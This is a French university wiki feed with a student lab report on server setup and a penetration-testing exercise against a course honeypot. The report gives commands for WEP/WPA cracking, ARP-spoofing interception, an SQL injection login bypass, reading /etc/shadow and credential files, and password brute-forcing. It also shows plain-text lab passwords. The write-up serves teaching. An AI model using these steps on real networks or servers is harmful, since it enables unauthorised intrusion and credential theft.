<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tvieuble</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tvieuble"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Tvieuble"/>
		<updated>2026-05-12T20:09:51Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Cybers%C3%A9curit%C3%A9_2020/2021&amp;diff=55307</id>
		<title>Option Cybersécurité 2020/2021</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Cybers%C3%A9curit%C3%A9_2020/2021&amp;diff=55307"/>
				<updated>2021-01-18T07:33:43Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Documents ==&lt;br /&gt;
&lt;br /&gt;
Le module de cybersécurité se présente sous la forme d'un certain nombre d'énigmes ou de puzzles à résoudre.&lt;br /&gt;
&lt;br /&gt;
Vous avez ici la liste des supports correspondants :&lt;br /&gt;
* Pour tous les participants un [https://ctf.plil.fr/challenges?category=option-cyberscurit-20202021 &amp;quot;jeu du drapeau&amp;quot;] comportant 10 niveaux. Certains niveaux sont difficiles mais pas compliqués et ne demandent donc pas d'expertise particulière en informatique, électronique ou traitement du signal. D'autres niveaux sont clairement compliqués, tentez !&lt;br /&gt;
* Pour ceux qui n'en ont pas déjà eu l'occasion, essayez de pénétrer sur le serveur de l'application Web [http://honey.plil.info]. Comme seule indication il vous est indiqué que le mot de passe de l'administrateur suit le même tropisme que celui des machines Zabeth. A vous de tester les attaques habituelles sur les sites Web utilisant des bases de données.&lt;br /&gt;
* Attaques réseau : [[Manipulations Web et Mail]]&lt;br /&gt;
* Attaques objects connectés : Vous disposez d'un &amp;quot;réseau&amp;quot; d'objets composé d'un Arduino Uno standard et d'un émetteur/récepteur FSK RFM69HCW. Plusieurs programmes transmettant des données peuvent être implantés sur les Arduino. Le but est de rechercher la clé de chiffrement et/ou les données envoyées. Pour cela, vous aurez physiquement accès à l'objet connecté pour pouvoir tenter de dumper la mémoire, lire des bus, ou intercepter le flux de donnée radio.&lt;br /&gt;
&lt;br /&gt;
Les supports de cours sont disponibles à l'adresse [http://www.cyberedu.fr/pages/supports/]&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
Ecrivez vos noms sous le format exact &amp;quot;Prénom Nom&amp;quot;, séparez vos noms par des virgules.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Elèves&lt;br /&gt;
|- &lt;br /&gt;
| [[Cyber 2020/2021 G1]] || Loïc RINGOT &amp;amp; Pierre SANCHEZ&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G2]] || Tanguy VIEUBLED &amp;amp; Paul VERNIER&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G3]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G4]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G5]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G6]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G7]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G8]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G9]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G10]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G11]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G12]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Cybers%C3%A9curit%C3%A9_2020/2021&amp;diff=55306</id>
		<title>Option Cybersécurité 2020/2021</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Cybers%C3%A9curit%C3%A9_2020/2021&amp;diff=55306"/>
				<updated>2021-01-18T07:33:34Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Documents ==&lt;br /&gt;
&lt;br /&gt;
Le module de cybersécurité se présente sous la forme d'un certain nombre d'énigmes ou de puzzles à résoudre.&lt;br /&gt;
&lt;br /&gt;
Vous avez ici la liste des supports correspondants :&lt;br /&gt;
* Pour tous les participants un [https://ctf.plil.fr/challenges?category=option-cyberscurit-20202021 &amp;quot;jeu du drapeau&amp;quot;] comportant 10 niveaux. Certains niveaux sont difficiles mais pas compliqués et ne demandent donc pas d'expertise particulière en informatique, électronique ou traitement du signal. D'autres niveaux sont clairement compliqués, tentez !&lt;br /&gt;
* Pour ceux qui n'en ont pas déjà eu l'occasion, essayez de pénétrer sur le serveur de l'application Web [http://honey.plil.info]. Comme seule indication il vous est indiqué que le mot de passe de l'administrateur suit le même tropisme que celui des machines Zabeth. A vous de tester les attaques habituelles sur les sites Web utilisant des bases de données.&lt;br /&gt;
* Attaques réseau : [[Manipulations Web et Mail]]&lt;br /&gt;
* Attaques objects connectés : Vous disposez d'un &amp;quot;réseau&amp;quot; d'objets composé d'un Arduino Uno standard et d'un émetteur/récepteur FSK RFM69HCW. Plusieurs programmes transmettant des données peuvent être implantés sur les Arduino. Le but est de rechercher la clé de chiffrement et/ou les données envoyées. Pour cela, vous aurez physiquement accès à l'objet connecté pour pouvoir tenter de dumper la mémoire, lire des bus, ou intercepter le flux de donnée radio.&lt;br /&gt;
&lt;br /&gt;
Les supports de cours sont disponibles à l'adresse [http://www.cyberedu.fr/pages/supports/]&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
Ecrivez vos noms sous le format exact &amp;quot;Prénom Nom&amp;quot;, séparez vos noms par des virgules.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Elèves&lt;br /&gt;
|- &lt;br /&gt;
| [[Cyber 2020/2021 G1]] || Loïc RINGOT &amp;amp; Pierre SANCHEZ&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G2]] || Tanguy VIEUBLED &amp;amp; Paul Vernier&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G3]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G4]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G5]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G6]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G7]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G8]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G9]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G10]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G11]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
| [[Cyber 2020/2021 G12]] || Prénom NOM &amp;amp; Prénom NOM&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55185</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55185"/>
				<updated>2020-12-22T14:53:13Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
